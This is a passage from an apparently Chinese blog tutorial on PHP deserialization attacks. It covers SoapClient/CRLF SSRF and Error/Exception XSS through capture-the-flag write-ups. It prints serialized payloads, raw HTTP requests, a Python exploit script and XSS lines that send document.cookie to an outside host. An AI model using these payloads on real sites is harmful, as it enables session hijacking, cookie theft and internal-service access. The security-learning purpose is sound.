http://192.168.32.134/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/3accb9900a8be5421641fb31e6861f33/a9f69fdbb6876b03a866ce1a86f831f2.phar

此时.htaccess文件被删除,直接访问刚才上传的shell即可。

小结

Phar的反序列化算是比较难的了,在其利用条件和手段都要求较高,构造pop链也相对复杂,所以放了三道例题,如果还有不懂的可以看看以下及格相关的题目

1.Defcamp(DCTF) 2018-Vulture phar反序列化攻击
2.huwangbei2018_easy_laravel(https://github.com/sco4x0/huwangbei2018_easy_laravel)
3.DiscuzX 3.4 Phar反序列化漏洞

拓展

SoapClient + 反序列化 => SSRF

SoapClient类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini 中的 ;extension soap 将分号删掉即可。 因为SoapClient 类会调用 __call 方法,当执行一个不存在的方法时,被调用,从而实现SSRF

例题-14

LCTF-2018-bestphp's-revenge传闻这是LCTF的web签到题(真·无时无刻不在提醒我是个Five)

题目牵涉以下知识点:(不单独拎出来了,在题目中捎带了)

1、SoapClient触发反序列化导致SSRF
2、serialize_handler处理session方式不同导致session注入
3、CRLF漏洞

开局送源码系列

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

访问了一下flag.php得到如下回复

only localhost can get flag!
session_start(); 
echo 'only localhost can get flag!'; 
$flag = 'LCTF{*************************}'; 
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ 
    $_SESSION['flag'] = $flag; 
} 
only localhost can get flag!

佬佬们说很容易想到f传入extract覆盖b为我们想要的函数,问题是后面的session利用。

SoapClient

SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口;
其采用HTTP作为底层通讯协议,XML作为数据传送的格式;
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

如果我们能通过反序列化调用SoapClientflag.php发送请求,那么就可以实现SSRF

那我们就要知道:
1.在哪儿触发反序列化
2.如何控制反序列化的内容

这里需要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法,例如本题中可以先用extract()b覆盖成call_user_func()reset($_SESSION)就是$_SESSION['name'],我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),即call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求。

SoapClient的内容怎么控制呢,贴上大佬的poc

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaa\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>

此处又涉及到了CRLF ,根据佬佬的理解是因为http请求遇到两个\r\n%0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,那么如果头部可控,就可以注入CRLF实现修改http请求包。

这个poc就是利用CRLF伪造请求去访问flag.php并将结果保存在cookie为PHPSESSID=bggb2n63rjle6d2fassrdtb7t0session中。 最后,就是如何让php反序列化结果可控。这里涉及到php反序列化的机制(参考前半部分)。

开始的call_user_func还没用,可以构造session_start(['serialize_handler'=>'php_serialize'])达到注入的效果。

解题过程

先注入poc得到的session

|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22Tr0jAn%0D%0ACookie%3A+PHPSESSID%aaaaaaaaaaaaaaaaaaaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
POST /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A54%3A%22Tr0jAn%0D%0ACookie%3A+PHPSESSID%aaaaaaaaaaaaaaaaaaaaaaaaa%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1
Cookie: PHPSESSID:aaaaaaaaaaaaaaaaaaaaaaaaa
......
serialize_handler=php_serialize

得到回显

array(1) {
  ["name"]=>
  string(196) "|O:10:"SoapClient":4:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:11:"_user_agent";s:54:"Tr0jAn
Cookie: PHPSESSID:aaaaaaaaaaaaaaaaaaaaaaaaa
";s:13:"_soap_version";i:1;}"
}

触发反序列化使SoapClient发送请求

POST /?f=extract&name=SoapClient HTTP/1.1
Cookie: PHPSESSID:aaaaaaaaaaaaaaaaaaaaaaaaa
......
b=call_user_func

得到回显

array(2) {
  ["a:1:{s:4:"name";s:197:""]=>
  object(SoapClient)#1 (4) {
    ["uri"]=>
    string(3) "123"
    ["location"]=>
    string(25) "http://127.0.0.1/flag.php"
    ["_user_agent"]=>
    string(54) "Tr0jAn
Cookie: PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaa
"
    ["_soap_version"]=>
    int(1)
  }
  ["name"]=>
  string(10) "SoapClient"
}

携带poc中的cookie访问即可得到flag

array(3) {
  ["name"]=>
  string(10) "SoapClient"
  ["flag"]=>
  string(15) "flag{test_flag}"
}

整体来说没看懂...回头再仔细研究!

附上佬佬写的自动化python poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : Eustiar
import requests
import re
url = "http://192.168.32.138:9999/"
payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r = requests.session()
data = {'serialize_handler': 'php_serialize'}
res = r.post(url=url+'?f=session_start&name='+payload, data=data)
# print(res.text)
res = r.get(url)
# print(res.text)
data = {'b':'call_user_func'}
res = r.post(url=url+'?f=extract', data=data)
res = r.post(url=url+'?f=extract', data=data)  # 相当于刷新页面
sessionid = re.findall(r'string\(26\) "(.*?)"', res.text)
cookie = {"Cookie": "PHPSESSID=" + sessionid[0]}
res = r.get(url, headers=cookie)
print(res.text)

输出如下:

array(1) {
  ["flag"]=>
  string(15) "flag{test_flag}"
}

Exception + 反序列化 => XSS

php原生类中的ErrorException中内置了__toString()函数,可能造成XSS漏洞。

Error

适用于php7Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个__toString()的方法。 如果碰上直接使用 echo 一个反序列化以后的类 的写法,则可以考虑该漏洞

<?php
//测试代码+开启报错
$a = unserialize($_GET['Tr0jAn']);
echo $a;
?>
<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
?>

//得:O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

访问?Tr0jAn={payload}即可触发弹窗

Exception

适用于php5、7版本 ,利用的方式和原理和Error 类一模一样。

<?php
//测试代码+开启报错
$a = unserialize($_GET['Tr0jAn']);
echo $a;      
?>
<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));
echo unserialize($c);
?>

//得:O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

访问?Tr0jAn={payload}即可触发弹窗

例题-15

BJDCTF-2nd-xss之光

这次不开局送源码了,玩儿的比较高级,是.git泄露,githack获得index.php

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

只有反序列化,但没有给出类,无法构造pop链,所以只能内置类帮忙了,因为反序列化结果有echo输出,所以考虑有__toString()函数的类进行构造,常用的有Error(适用于php7)Exception(适用于php5、7),原题环境是php5,所以使用Exception,题目是XSS,所以只要触发了window.open()即可。

y1ng大佬给出了三种触发生成payload的方式

<?php
$y1ng = new Exception("<script>window.open('http://a0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($y1ng));
?>
//window.open 是 javaScript 打开新窗口的方法

也可以用window.location.href='url'来实现恶意跳转
<?php
$a = new Exception("<script>window.location.href='http://8ff615f3-da70-4d1a-959f-f29d817ecd90.node3.buuoj.cn'+document.cookie</script>");
echo urlencode(serialize($a));
?>

<?php
//或者用alert(document.cookie)直接弹出cookie,但此题不行,可能开了httponly(见附录)。
$y1ng = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($y1ng));
?>
得到payload
yds_is_so_beautiful=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fa0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

执行完这个get传参后,flag就藏在cookie中。

总结

php的反序列化拖拖拉拉两个月了快,整体的脉络和分类思路来自这儿,其中还用到了很多佬佬的帖子,如有雷同就是我抄的,希望各位佬佬不要打我。

总结下来就是一句话,认真细心耐心,掌握各个参数的作用和一些常用的手法及漏洞触发方式,在后续代码审计中也会有至关重要的作用,先给自己挖个坑JAVA的反序列化漏洞,应该大同小异,等下学期学完JAVA把它的反序列化也搞一搞。

最后修改:2020 年 08 月 10 日 08 : 48 PM
请作者喝杯奶茶吧~